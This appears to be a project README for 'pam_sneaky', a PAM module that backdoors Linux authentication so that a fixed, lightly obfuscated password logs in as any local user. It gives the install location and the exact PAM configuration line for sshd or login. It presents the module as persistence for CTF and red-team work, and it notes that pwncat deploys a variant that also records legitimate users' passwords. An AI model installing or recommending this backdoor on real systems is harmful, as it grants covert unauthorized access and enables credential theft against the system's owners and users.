pam_sneaky
This simple PAM module will enable authentication with any local user using a constant known password. The password is XOR'd with a constant key to a smidge of obfuscation. This example uses the password "sneaky password". After installation to /lib/security/pam_sneaky.so (or your distributions' equivalent), you can add this to the top of your PAM configuration (e.g. /etc/pam.d/sshd or /etc/pam.d/login):
auth sufficient pam_sneaky.so
And Voila! You can log in as any user with the password "sneaky password"
DISCLAIMER - DON'T DO THIS ON YOUR MACHINE. It's a bad idea, and serves no purpose. It could be a slightly sneaky way to maintain some low-hanging fruit-like persistence during a CTF or Red Team/Blue Team engagement.
Further work
This small module has also been wrapped into my other project pwncat! pwncat can automatically deploy this little backdoor which has been improved to log legitimate passwords on top of allowing backdoor access! Happy hacking!